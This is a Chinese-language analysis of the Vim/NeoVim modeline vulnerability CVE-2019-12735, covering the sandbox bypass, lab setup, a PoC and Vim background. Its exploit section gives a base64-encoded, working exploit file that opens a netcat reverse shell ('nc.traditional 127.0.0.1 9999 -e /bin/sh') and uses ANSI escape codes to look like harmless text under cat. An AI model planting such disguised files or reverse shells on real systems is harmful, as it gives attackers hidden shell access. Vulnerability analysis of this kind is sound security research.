Vim modeline命令执行漏洞分析(CVE-2019-12735)

 

1.背景介绍

  • 漏洞相关软件:Vim/NeoVim
  • Vim/NeoVim 简介
    • Vim是从vi发展出来的一个文本编辑器,是Linux 平台最常用的编辑器之一。
    • Neovim 是Vim的一个重构版本,致力于成为Vim的超集(superset),
    • Neovim的第一个版本在2015年12月发行,并且能够完全兼容Vim的特性。
    • 相比于Vim,Neovim的主要改进在于其支持异步加载插件。
  • 漏洞危害:打开恶意构造的文本文件,可以触发命令执行,使攻击者获得当前用户权限。

 

2.漏洞相关信息

  • 漏洞原理:
    Vim 的sandbox对输入的命令审查不严格,导致可以通过source命令加载其他Vim脚本绕过沙箱执行,配合上modeline特性,可以在Vim打开普通文件时实现OS command injection。
  • 漏洞所属软件链接,版本,模块,目录,文件,代码行
    • 漏洞软件版本:Vim <= 8.1.1365/ NeoVim <= 0.3.6
    • 漏洞代码位置:Vim 81/src/getchar.c -> openscript
    • Vim官网
    • Vim源码库
  • 漏洞所属类型:CWE-78 OS Command Injection
  • 漏洞补丁:Vim patch
  • 漏洞CVE号:CVE-2019-12735

 

3. 环境搭建

Vim安装

使用apt安装

apt-get install vim-runtime=2:7.4.1689-3ubuntu1
apt-get install vim-common=2:7.4.1689-3ubuntu1
apt-get install vim=2:7.4.1689-3ubuntu1

使用源码手动编译

# 下载源码,编译生成符号
# 参考:https://www.unix.com/programming/156665-compile-debug-vim-source-code.html
$ mkdir ~/MyVim
$ cd ~/MyVim
$ sudo apt-get install libncurses5-dev libncursesw5-dev
$ apt-get source vim=2:7.4.1689-3ubuntu1
$ cd src
$ cp Makefile Makefile.orig
$ vim Makefile
$ diff Makefile Makefile.orig
540c540
< CFLAGS = -g
---
> #CFLAGS = -g
908c908
< prefix = ~/MyVim
---
> #prefix = $(HOME)
1852c1852
< #    $(STRIP) $(DEST_BIN)/$(VIMTARGET)
---
>     $(STRIP) $(DEST_BIN)/$(VIMTARGET)
$ cd ..
$ make && make install
$ cd bin
$ gdb ./vim

使用Docker快速复现环境搭建

$ ls
Dockerfile
$ cat Dockerfile
From ubuntu:16.04
RUN set -e -x ;
    apt update ;
    apt-get install -y vim-runtime=2:7.4.1689-3ubuntu1 ;
    apt-get install -y vim-common=2:7.4.1689-3ubuntu1 ;
    apt-get install -y vim=2:7.4.1689-3ubuntu1 ;
    echo "OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > /root/poc.txt 

$ sudo docker build -t vim-cve-2019-12735 .
$ sudo docker run -it vim-cve-2019-12735 /bin/bash
echo -e "set modelinenset modelines=5" > ~/.vimrc 
cd root
vim poc.txt

 

4. POC

a. POC原理

  • 背景简介
    • Vim可以通过Vim脚本编写插件,通过source[!]命令加载和执行脚本
    • Vim支持通过Vim command或者Vim脚本执行shell指令
    • vim支持通过表达式(可以理解为短脚本)对文本进行设置(比如folding代码块折叠显示功能)
    • 表达式支持Vim指令,但是会在自己的sandbox执行,只输出执行结果
    • Vim表达式中存在一些自带的函数execute, assert_fails等,可以将Vim command作为参数执行。
    • 由于限制不严格,当表达式通过execute, assert_fails这类函数执行source命令时,会在sandbox中执行,但是source 加载的Vim脚本则会在正常进程环境中执行
    • Vim的modeline功能是用于对单个文件进行自动配置的,并且也可以设置带有表达式的配置,因此可以利用此特性在Vim打开精心构造的恶意文本时实现OS command injection.
  • Poc原理要理解Poc的原理,需要有一些Vim相关的背景知识,见下文背景知识部分下面?是Poc的流程:
    • vim 打开poc文件,识别出文件首部的modeline
    • 跳过开头的text,从"vi:"后面开始依次加载配置选项
    • 加载到fde选项时,执行表达式中的assert_fails函数,进而执行source! %指令
    • source! %将当前文件作为Vim脚本加载并执行
    • Vim脚本的内容就是Poc文件,但是这次与直接打开不同,是作为脚本加载,所以文件内容不会被识别为modeline,而是识别为Vim脚本,具体含义是执行shell命令uname -a || "some text",从而实现了命令执行
  • 调用栈信息
#0  openscript (
    name=0x88fba8 "/home/invincible/Desktop/test/vim_test/poc.txt", 
    directly=0x0) at getchar.c:1415
#1  0x000000000046e06f in cmd_source (
    fname=0x88fba8 "/home/invincible/Desktop/test/vim_test/poc.txt", 
    eap=0x7fffffffc5c0) at ex_cmds2.c:3502
#2  0x000000000046dfd8 in ex_source (eap=0x7fffffffc5c0) at ex_cmds2.c:3484
...
#4  0x0000000000470d89 in do_cmdline (cmdline=0x87ea80 "source! %", 
...
#7  0x00000000004395ec in call_func (
    funcname=0x884d40 "assert_fails("source! %")", len=0xc, 
...
#9  0x00000000004337f8 in eval7 (arg=0x7fffffffd680, rettv=0x7fffffffd6c0, 
...
#16 0x000000000043189b in eval0 (arg=0x884d40 "assert_fails("source! %")", 
#17 0x000000000042cc06 in eval_foldexpr (
    arg=0x884d40 "assert_fails("source! %")", cp=0x7fffffffd70c)
#18 0x00000000004a8403 in foldlevelExpr (flp=0x7fffffffd7b0) at fold.c:3032
...
#26 0x000000000040e02f in chk_modeline (lnum=0x1, flags=0x0) at buffer.c:5234
#27 0x000000000040dba6 in do_modelines (flags=0x0) at buffer.c:5115
...
#30 0x00000000005e8db0 in main (argc=0x2, argv=0x7fffffffde98) at main.c:881
...

b.POC源码

$ echo "OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > poc.txt
$ cat poc.txt 
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
$vim poc.txt

c.复现步骤

环境清单

QEMU虚拟机搭建步骤:

#  创建虚拟机硬盘
$ qemu-img create -f qcow2 ubuntu16.04.6.img 10G

# 安装虚拟机
$ qemu-system-x86_64  -m 2048 -hda ubuntu16.04.6.img -cdrom ./ubuntu-16.04.6-desktop-amd64.iso

# 启动虚拟机
$ qemu-system-x86_64 -m 2048  ubuntu16.04.6.img

Step1 – 安装nc.traditional
建立会话的方式很多,这一步只是为了演示exp需要。

sudo apt-get install netcat-traditional

Step2 – 安装含漏洞版本的Vim

$ sudo apt-get install vim-runtime=2:7.4.1689-3ubuntu1
$ sudo apt-get install vim-common=2:7.4.1689-3ubuntu1
$ sudo apt-get install vim=2:7.4.1689-3ubuntu1

Step3 – 检查Vim配置是否开启modeline,若没有则配置Vim

# 检查modeline配置
vim
:verbose set modeline? set modelines?
# 如果显示nomodeline或者nomodelines表示没有配置

# 配置方法:
vim ~/.vimrc
i
set modeline
set modelines=5
<ESC>
:wq

Step4 – 创建poc文件

echo "G1s/OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > poc.txt

# base64编码明文:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="n

Step5 – 用vim打开触发命令执行(uname -a)

$ vim poc.txt 

Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Press ENTER or type command to continue

 

5. EXP

a. EXP原理

  • Exp是一条精心构造的modeline,主要是为了把恶意文件伪造成正常文本,消除痕迹;
  • 可以分为两部分,一部分用于欺骗Vim,实现代码执行,隐藏恶意文本内容;
  • 另一部分用于欺骗cat,使文本打开时看起来是正常文本;
  • 主要通过ANSI Escape Code来实现这些隐藏功能。

Vim加载exp文件后等同于执行下面的序列:

# modeline触发执行自动配置
:set fen
:set fdm=expr
:set fde=assert_fails('set fde=x | source! %')
:set fdl=0

# fde=assert_fails触发了assert_fails函数调用
:call assert_fails('set\ fde=x\ \|\ source\!\ \%')

# assert_fails函数执行vim命令
:set fde=x | source! %

# source! % 加载当前文件,并视为Vim Ex mode下的脚本执行:
<ESC>
S
Nothing here.
<ESC>
:silent! w
:call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') 
:redraw! 
:file 
:silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n

# 读取到换行符号后n执行上面第一个silent!以及后面的命令
# 通过vim的system函数执行了系统命令,建立反弹shell

逐条解释:

# exp.txt: 
x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[2KNothing here."x16x1b[2D  n

# 下文括号中的c表示用于欺骗cat,v表示Vim脚本正常指令

x1b[?7l (c)
# 关闭自动换行
# 配合x1b[1G和x1b[K使用,见下文
# 具体定义和测试Demo见下文 ANSI escape codes 部分

x1bS (v)
# <ESC>S 相当于依次按下ESC键和S键
# 表示剪切当前行,并从Normal mode切换到Insert mode
# 经测试,这里的x1b是可以去掉的
# 具体定义和测试Demo见下文 ANSI escape codes 部分

Nothing here. (v)
# 在Insert mode下写入字符串 Nothing here.

x1b (v)
# 相当于依次按下ESC键,退出Insert mode 返回Normal mode

:  (v)
# 从Normal mode进入Command-line mode

silent! w (v)
# 保存写入的内容,并且关闭回显
# 具体定义和测试Demo见下文 Vim表达式和脚本部分

| call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') (v)
# 调用system 函数执行Shell命令
# 具体定义和测试Demo见下文 Vim表达式和脚本部分

| redraw! (v)
# 清除回显信息
# 具体定义和测试Demo见下文 Vim表达式和脚本部分

| file | silent! [some text] (v)
# 显示当前文件信息,silent!用于清除后面的字符串产生的报错信息
# 最后的效果就是屏幕底部显示的是file的执行结果

vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: (v)
# vim加载时modeline的正文部分
# fen foldenable, 开启代码折叠folding功能
# fdm foldmethod, 设置folding方法为expr
# fde foldexpr, 设置fold expression
# assert_fails Vim的内部函数,可以执行第一个参数指定的vim命令,具体见下文
# 此处执行了两个命令:
# set fde 把foldexpr设置为x(相当于设置为无效)
# source % 把当前文件视为vim脚本,加载并执行
# fdl foldlevel 设置为0表示所有满足条件的文本块都折叠显示(与exp无关)

x16 (v) 
# 这个很关键,由于是用source! %打开,所以文本的内容都会识别成在Normal mode下的输入,比如x1b就是按下<ESC>, S就代表按下键盘(shift+s),而当执行到第二个silent! 之后,后面的字符串直到'n'我们希望它们被忽略,但是为了构造cat的输出, 字符串中包含了很多escape code比如x1b[D, 但是这些也会被识别成键盘的按键操作,导致整个指令都无法执行 而x16正是为了解决这个问题,它会把下一个按键解析成字符而不会让它执行按键功能,具体分析见下文 ANSI escape codes部分。


x1b[1G (c)
# cat打开时候,将光标移动到当前行的首部
# 配合x1b[K和x1b[?7l,见下文
# 具体分析和Demo见下文 ANSI escape codes部分。

x16 (v)
# 作用同上

x1b[2K (c)
# 配合x1b[1G和x1b[?7l,删除当前位置到行首的内容(不会改变文本,只改变输出内容)
# 经过这个处理,cat的查看结果就只剩下后面的信息了
# 具体分析和Demo见下文 ANSI escape codes部分。

Nothing here." (c)
# 准备让cat查看文件输出的字符串,与Vim打开文件时查看到的内容相同

x16 (v)
# 作用同上

x1b[2D (c) 
# 光标向前移动2位
# 具体分析和Demo见下文 ANSI escape codes部分。

  n (c&v)
# 因为光标前移,两个空格会覆盖Nothing here." 字符串最后的引号"和x16
# 于是cat的输出只剩下 x16Nothing here.n
# n换行触发 silent! w | ... | file | silent! [some text]  整条命令的执行
# 其中call system完成系统命令执行建立反弹shell

b. EXP源码

原作者exp: shell.txt

基于复现环境修改过的exp:

echo "G1s/N2wbUyBOb3RoaW5nIGhlcmUuGzpzaWxlbnQhIHcgfCBjYWxsIHN5c3RlbSgnbm9odXAgbmMudHJhZGl0aW9uYWwgMTI3LjAuMC4xIDk5OTkgLWUgL2Jpbi9zaCAmJykgfCByZWRyYXchIHwgZmlsZSB8IHNpbGVudCEgIyAiIHZpbTogc2V0IGZlbiBmZG09ZXhwciBmZGU9YXNzZXJ0X2ZhaWxzKCdzZXRcIGZkZT14XCBcfFwgc291cmNlXCFcIFwlJykgZmRsPTA6IBYbWzFHFhtbMktOb3RoaW5nIGhlcmUuIhYbWzJEICAK" | base64 --decode > exp.txt
# base64编码对应的明文
x1b[?7lx1bS Nothing here.x1b:silent! w | call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[2KNothing here."x16x1b[2D  n

# 修改了四处
# nc -> nc.traditional 
# x1b[K -> x1b[2K 
# x1b[D -> x1b[2D 
#  n  ->   n (增加了一个空格)

exp修改说明

nc -> nc.traditional

Ubuntu上的nc不包含-e选项,解决办法是安装nc.traditional来替代nc命令

x1b[K -> x1b[2K 和 x1b[D -> x1b[2D 是用于清除不可见字符x16和引号

修改前:

修改后:

c. 复现步骤

搭建复现环境,与Poc相同

Step1 – 创建exp文件

$ echo "G1s/N2wbUyBOb3RoaW5nIGhlcmUuGzpzaWxlbnQhIHcgfCBjYWxsIHN5c3RlbSgnbm9odXAgbmMudHJhZGl0aW9uYWwgMTI3LjAuMC4xIDk5OTkgLWUgL2Jpbi9zaCAmJykgfCByZWRyYXchIHwgZmlsZSB8IHNpbGVudCEgIyAiIHZpbTogc2V0IGZlbiBmZG09ZXhwciBmZGU9YXNzZXJ0X2ZhaWxzKCdzZXRcIGZkZT14XCBcfFwgc291cmNlXCFcIFwlJykgZmRsPTA6IBYbWzFHFhtbMktOb3RoaW5nIGhlcmUuIhYbWzJEICAK" | base64 --decode > exp.txt

Step2 – 监听nc回连端口

$ nc -vlp 9999
Listening on [0.0.0.0] (family 0, port 9999)

Step3 – Vim打开exp文件

$ vim exp.txt
 Nothing here.
~                                                                      
...                                                                     
~                                                                               
"exp.txt" line 1 of 1 --100%-- col 14

会话建立成功

$ nc -vlp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from [127.0.0.1] port 9999 [tcp/*] accepted (family 2, sport 55824)
pwd
/home/invincible/Desktop/test/vim_test
id
uid=1000(invincible) gid=1000(invincible) groups=1000(invincible),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

 

6. 背景知识

Vim的模式

参考:http://vimdoc.sourceforge.net/htmldoc/intro.html#vim-modes-intro

Normal mode

通过 $ vim file 打开文件后进入的模式

$ vim hello.txt
Hello
~                                                                     
~                                                                      
~                                                                      ...
~                                                                               
"hello.txt" 1L, 6C

通过source!加载的脚本的内容,就是相当于在这个模式下输入的内容

Command-line mode

  • 在normal mode下输入: ( and / ? )进入Command-line mode
  • 在Vim的Command-line模式下,可以执行Vim commands
  • 其中,通过 :!{shell cmd} 可以执行shell命令
# http://vimdoc.sourceforge.net/htmldoc/various.html#:!
$ vim
:!uname -a

Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Press ENTER or type command to continue

Ex mode

  • 通过$ vim -e file进入该模式
  • 也可以在Normal mode下输入Q进入该模式
  • 这个模式的特点是可以连续执行Vim command,可以类比 python 的命令行模式
  • 通过source加载的脚本的内容,就是相当于在这个模式下输入的内容

Insert mode

  • 在Normal mode下输入i可以进入Insert mode, 这个模式相当于编辑模式,大部分操作和在记事本中一样。
  • 另外还有 “I”, “a”, “A”, “o”, “O”, “c”, “C”, “s” or S”也可以从Normal mode进入Insert mode.
  • 具体模式转换见: http://vimdoc.sourceforge.net/htmldoc/intro.html#vim-modes-intro
  • 其中”S”表示剪切当前行,并进入Insert mode
# :help S
# ["x]S                   Delete [count] lines [into register x] and start
#                           insert.  Synonym for "cc" |linewise|.

# Demo演示
$ vim 1.vim
:let i = 1
:while i < 10
:    let a = getline(i)
:    if empty(a)
:        break
:    endif
:    echo "Line:" i "is"  a
:    let i += 1
:endwhile
~                                                                      
...     
~                                                                               
"1.vim" 9L, 147C

S(shift+s)


:while i < 10
:    let a = getline(i)
:    if empty(a)
:        break
:    endif
:    echo "Line:" i "is"  a
:    let i += 1
:endwhile
~                                                                      ...
~

-- INSERT --
<ESC>
p  (p是粘贴)
p


:let i = 1
:let i = 1
:while i < 10
:    let a = getline(i)
:    if empty(a)
:        break
:    endif
:    echo "Line:" i "is"  a
:    let i += 1
:endwhile
~                                                                      ...

Vim options的概念

Vim的options相当于编辑器的配置,通过command-line模式的:set命令手动配置,也可以通过脚本自动配置,自动配置的方法主要是通过Vim脚本(.vimrc, .exrc)或者modeline方式。

Vim的modeline功能

modeline用于在文本文件的首部或者尾部设置vim options, 让vim打开文件的时候自动加载并执行该配置


# modeline 有两种格式
# 第一种格式: [text]{white}{vi:|vim:|ex:}[white]{options}
#                           vi:noai:sw=3 ts=6 
# - text可以用来放置编程语言的注释(python的 # , C 的// ),是可选的
# - vi:之前一定要有空格
# - options用":"或者空格分隔


# 第二种格式:    
#  [text]{white}{vi:|vim:|ex:}[white]se[t] {options}:[text]
#               /* vim: set ai tw=75: */ 
# - 首尾都可以用text主要是支持(C的这种注释 "/**/"),首尾的text都是可选的
# - vim: 后面要有空格
# - 要有一个set(可以缩写成 se,后面跟空格)
# - options用空格分隔
# - 结尾要有冒号 :

开启modeline

# 编辑~/.vimrc
# 添加:
set modeline
set modelines=5

具体使用

# 用Vim打开文本:
$ vim a.py
# python3
# coding=utf-8
import platform

def func1():
        for i in range(10):
                print("hello vim")
                print(platform.platform())
# cursor is here 

def main():
        func1()

main()


# 打开a.py后, 默认的tab长度是8个空格,不支持回车自动缩进
# 可以通过tabstop和autoindent两个选项来配置
:set tabstop=4
:set autoindent


# 效果如下:
# python3
# coding=utf-8
import platform

def func1():
    for i in range(10):
        print("hello vim")
        print(platform.platform())
        # cursor is here

def main():
    func1()

main()


# 但是下次打开后,又需要再配置一次
# 可以通过modeline来使这个配置每次打开a.py文件时都生效
# 在文件开头添加一行内容: # vim: set tabstop=4 autoindent: 
# 再次打开效果如下:

$ vim a.py
# vim: set tabstop=4 autoindent: 
# python3
# coding=utf-8
import platform


def func1():
    for i in range(10):
        print("hello vim")
        print(platform.platform())
        # cursor is here

def main():
    func1()

main()

For security reasons, only a subset of options is permitted in modelines, and if the option value contains an expression, it is executed in a sandbox

为了安全原因,只有部分options可以在modeline中配置,如果option的值是一个表达式(比如配置foldexpr),那么表达式会在vim的sandbox中执行

Vim表达式和脚本

根据Vim Script语法编写Vim脚本,参考:

https://github.com/name5566/vim-config/blob/master/vim_script.md
http://vimdoc.sourceforge.net/htmldoc/usr_41.html
http://vimdoc.sourceforge.net/htmldoc/eval.html
http://vimdoc.sourceforge.net/htmldoc/eval.html#functions

# 创建一个Vim脚本1.vim
$ vim 1.vim


# 按照Vim Script语法编辑脚本
:let i = 1
:while i < 10
:    let a = getline(i)
:    if empty(a) 
:        break
:    endif
:    echo "Line:" i "is"  a
:    let i += 1
:endwhile


# 保存
:w


# 用source指令加载自己并执行
:source % 
# or
:source 1.vim


# 执行结果:
Line: 1 is :let i = 1
Line: 2 is :while i < 10
Line: 3 is :    let a = getline(i)
Line: 4 is :    if empty(a)
Line: 5 is :        break
Line: 6 is :    endif
Line: 7 is :    echo "Line:" i "is"  a
Line: 8 is :    let i += 1
Line: 9 is :endwhile
Press ENTER or type command to continue



# 在编辑其他文件的时候加载并执行一个Vim脚本
$ vim a.txt
Hello
Vim
Goodbye!
~         
:source 1.vim


Line: 1 is Hello
Line: 2 is Vim
Line: 3 is Goodbye!
Press ENTER or type command to continue

source命令

source命令用于从Vim脚本文件中读取Vim指令并执行,参考:http://vimdoc.sourceforge.net/htmldoc/repeat.html#using-scripts

:help source

:so[urce] {file}        
  Read Ex commands from {file}.  
  These are commands that start with a ":".


:so[urce]! {file}       
  Read Vim commands from {file}.  
  These are commands that are executed from Normal mode, 
  like you type them.

source和source!的区别在于:

  • source是从文件读取 Ex commands, 也就是说文件的内容必须是 :cmd 的形式
  • source!是从文件读取 Normal mode下执行的vim commands, 也就是说文件中的<ESC> i / 字符这些都会当成Normal mode下的用户输入(like you type them)
# 创建一个vim脚本,写入内容iHello,World后保存
$ vim 5.vim
iHello,World

:wq

# 用source! 加载并执行脚本
$ vim 
:source! 5.vim

# 效果如下,打开后直接进入了Insert mode
Hello,World

~                                                                      
~                                                                      
...                                                                    
~                                                                       
~                                                                                                        
-- INSERT --


# 而用source加载则会报错
$ vim 
:source 5.vim


Error detected while processing 5.vim:
line    1:
E492: Not an editor command: iHello,World
Press ENTER or type command to continue

vim执行shell命令

通过在command-line mode下,使用 !{cmd}来执行shell命令

$ vim
:!uname -a

Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Press ENTER or type command to continue
# 一个可以执行shell命令的vim脚本
$ vim a.vim
<i>
:!uname -a
~
~
<ESC>
:source %

... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64

Press ENTER or type command to continue

# 特殊的函数execute
# $ vim
# :help execute()
#  execute({command} [, {silent}])                                 *execute()*
#                 Execute an Ex command or commands and return the output as a
#                 string. 
#                 {command} can be a string or a List.  In case of a List the
#                 lines are executed one by one. 
# ...

#                 The optional {silent} argument can have these values:
#                         ""              no `:silent` used
#                         "silent"        `:silent` used
#                         "silent!"       `:silent!` used
#                               The default is "silent".  
#                               Note that with "silent!", unlike `:redir`, error messages are dropped
# ...


$ vim b.vim
: call execute("source a.vim", "")


... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64


Press ENTER or type command to continue


# execute函数在ubuntu上安装的Vim中没有,但是还有另一个可以执行shell命令:assert_fails()
# $ vim
# :help assert_fails
# 
# assert_fails({cmd} [, {error}])                                 *assert_fails()*
#                 Run {cmd} and add an error message to |v:errors| if it does
#                 NOT produce an error.
#                 When {error} is given it must match in |v:errmsg|.
$ vim b.vim
: call assert_fails("source a.vim")


... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64


Press ENTER or type command to continue

silent命令

# :help silent
#                              *:sil* *:silent* *:silent!*
# :sil[ent][!] {command}  
#    Execute {command} silently.  
#    Normal messages will not
#    be given or added to the message history.
#    When [!] is added, error messages will also be
#    skipped, and commands and mappings will not be aborted
#    when an error is detected.



# 1. 编写一个文件,不使用silent,保存后会在底部出现回显信息
vim 1.txt
i
something 
~                                                                      ...     
~       
<ESC>
:w                                                                   
"a.vim" 1L, 11C written

# 2. 使用silent,w命令的回显信息就消失了
vim 1.txt
i
somenthing
~                                                                       ...   
~                                                                               
:silent! w

# 3. silent! 可以用来去除错误信息
vim 1.txt
i
something
<ESC>
:w
:file | silent! Anycommand or anytext'' ; "

something
~                                                                      ...
~                                                                                                                                           
"1.vim" line 1 of 1 --100%-- col 9

redraw命令

# :help redraw!
#                                             *:redr*  *:redraw*
# :redr[aw][!]            
#  Redraw the screen right now.  
#  When ! is included it is cleared first.
#                         ... 
# 立刻刷新屏幕,如果设置了!则先清除屏幕内容
# 每条命了执行完,底部会留下历史记录, redraw!会清除掉记录

# 屏幕会清空
vim 1.txt
i
somenthing
~                                                                       ...   
~                                                                               
:silent! w
:redraw!

something
~                                                                       ...
~

file命令

# 输入当前文件信息
vim 1.txt
i
something
<ESC>
:w
:file
something
~                                                                      ...
~                                                                                                                                           
"1.vim" line 1 of 1 --100%-- col 9

system函数

system({expr} [, {input}])                              *system()* *E677*
Get the output of the shell command {expr} as a string.  
... 

$ vim
:let a = system('pwd')
:echo a

~                                                                      
/home/invincible/Desktop/test/vim_test

Press ENTER or type command to continue

assert_fails函数

执行一个vim command, 如果没有出错,则将command的执行信息保存到v:errors全局变量中

:help assert_fails

assert_fails({cmd} [, {error}])                                
  Run {cmd} and add an error message to |v:errors| 
  if it does NOT produce an error.
  When {error} is given it must match in |v:errmsg|.
$ vim
:call assert_fails("echo 'hello'")

~
...
~
hello

:echo v:errors
['command did not fail: echo ''hello''']

编写一个可以执行shell命令的vim脚本


$ vim a.vim
<i>
:!uname -a
~
~
<ESC>
:wq

# 用assert_faild执行vim的source指令,加载vim脚本a.vim
$ vim
:call assert_fails("source a.vim")

Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Press ENTER or type command to continue

:echo v:errormsg
['command did not fail: source a.vim']

Vim的folding功能

  • vim的folding功能用于对文本中的文本块(比如一个函数,一段注释)折叠和展开,可以类比为图形化编辑器编辑区侧栏的(+/-)。
  • foldmethod选项是用来配置Vim的代码折叠功能的,Vim给出了manual, indent, expr, syntax, diff, marker这几种代码折叠的方式,下面?是indent方式的效果:
# 文本如下
$ vim a.py

# python3
# coding=utf-8
import platform

def func1():
        for i in range(10):
                print("hello vim")
                print(platform.platform())

def main():
        func1()

main()


# 1. 设置foldmethod选项
:set foldenable
:set foldmethod=indent

# 效果如下
# python3
# coding=utf-8
import platform

def func1():
+--  3 lines: for i in range(10):-------------------------------------

def main():
        func1()

main()

如果不满足于给定的几种方式,可以将foldmethod设置为expr来自定义代码块的特征

# 文本如下
$ vim a.py

# python3
# coding=utf-8
import platform

def func1():
        for i in range(10):
                print("hello vim")
                print(platform.platform())

def main():
        func1()


main()

:set foldenable
:set foldmethod=expr
:set foldexpr=getline(v:lnum)[0]=="#"
# foldexpr用于设置文本满足的条件,满足条件的文本块会被折叠
# 该配置的意思是通过Vim的getline函数,判断每一行文本的第一个字符是否为"#",将满足条件的相邻的行视为一个文本块,并将其折叠
# 效果如下: 

+--  2 lines: # python3-----------------------------------------------
import platform

def func1():
        for i in range(10):
                print("hello vim")
                print(platform.platform())

def main():
        func1()

main()

vim的sandbox概念

11. The sandbox                 *eval-sandbox* *sandbox* *E48*


The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. 


This gives some safety for when these options are set from a modeline.  


These items are not allowed in the sandbox:
    - changing the buffer text
    - defining or changing mapping, autocommands, functions, user commands
    - setting certain options (see |option-summary|)
    - setting certain v: variables (see |v:var|)  *E794*
    - executing a shell command
    - reading or writing a file
    - jumping to another buffer or editing a file
    - executing Python, Perl, etc. commands

ANSI escape codes

参考:

https://www.gnu.org/software/screen/manual/html_node/Control-Sequences.html
https://notes.burke.libbey.me/ansi-escape-codes/
https://learnku.com/articles/26231

x1b[1G

x1b[1G 光标移动到当前行的第Pn个位置

# ESC [ Pn G                      Cursor horizontal position
# $ echo -e "Hellox1b[1GA" > a.txt
# $ cat a.txt
# Aello
# $ echo -e "Hellox1b[2GA" > a.txt
# $ cat a.txt
# HAllo
# $ echo -e "Hellox1b[3GA" > a.txt
# $ cat a.txt
# HeAlo

x1b[D

x1b[D 光标左移1个位置

# ESC [ Pn D                      Cursor Left
# 光标左移Pn个位置
# $ echo -e "Hellox1b[D" > a.txt
# $ cat a.txt
# Hello
# $ echo -e "Hellox1b[Dx1b[Dx1b[DAAA" > a.txt
# $ cat a.txt
# HeAAA
# $ echo -e "Hellox1b[5DAAA" > a.txt
# $ cat a.txt
# AAAlo

x1b[K

x1b[K 清除光标到当前位置的内容

# *  ESC [ K           erase to end of line (inclusive)
# 清除光标到当前位置的内容(不会改变文本),可以配合x1b[G使用
$ echo -e "AAAAx1b[1Gx1b[KBBBB" > a.txt
$ cat  a.txt
BBBB
$ echo -e "ABCDx1b[2Gx1b[KEEEE" > a.txt
$ cat  a.txt
AEEEE
$ echo -e "ABCDx1b[3Gx1b[KEEEE" > a.txt
$ cat a.txt 
ABEEEE
$ echo -e "ABCDx1b[KEEEE" > a.txt
$ cat a.txt 
ABCDEEEE

x1b[2K

x1b[?7l

  • ESC [ ? 7 l auto wrap off
  • x1b[?7l 关闭自动换行 (l -> low)
  • x1b[?7h 开启自动换行 (h -> high)
  • 这个命令的功能是控制Terminal的显示功能,默认情况下,如果文本长度超过Terminal的显示长度,则会自动换行,如果关闭了自动换行,则会全部显示在一行,超出的部分被”截断”

x1b[?7l 和 x1b[1G 配合使用的效果:

使用前 :

使用后:

x1b[?7l 和 x1b[1G + x1b[K 配合使用的效果:

x16

参考:

http://defindit.com/ascii.html
https://zh.wikipedia.org/wiki/%E6%8E%A7%E5%88%B6%E5%AD%97%E7%AC%A6

这是一个ascii码的控制字符,代表 ctrl+v,它的功能可以理解为:让下一个输入识别为普通字符

$ cat a.py
a = input("> ")
print(ord(a[0]))

$ python3 a.py
# 想直接输入ctrl+c, 但程序退出,被识别成了中断信号
> ^CTraceback (most recent call last):
  File "a.py", line 1, in <module>
    a = input("> ")
KeyboardInterrupt

$ python3 a.py
# 依次按下ctrl+v和ctrl+c, 就顺利打印出了ctrl+c的ascii码
> ^C
3

为什么Exp中需要x16控制字符

echo -e "iHellox1b[D" > a.vim
$ vim 
:source! a.vim

Hello
~                                                                      ...   
~                                                                               
E388: Couldn't find definition

这个报错可以手动输入下面的指令产生:
$ vim
i
Hello
<ESC>
[
shift+d

# 如果加上x16则x1b不会被解析成<ESC>按键,而是输入字符
echo -e "iHellox16x1b[D" > a.vim

Hello^[[D
~                                                                      ...
~

-- INSERT --

 

7.参考

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://imbawenzi.github.io/2019/08/03/vim/

(完)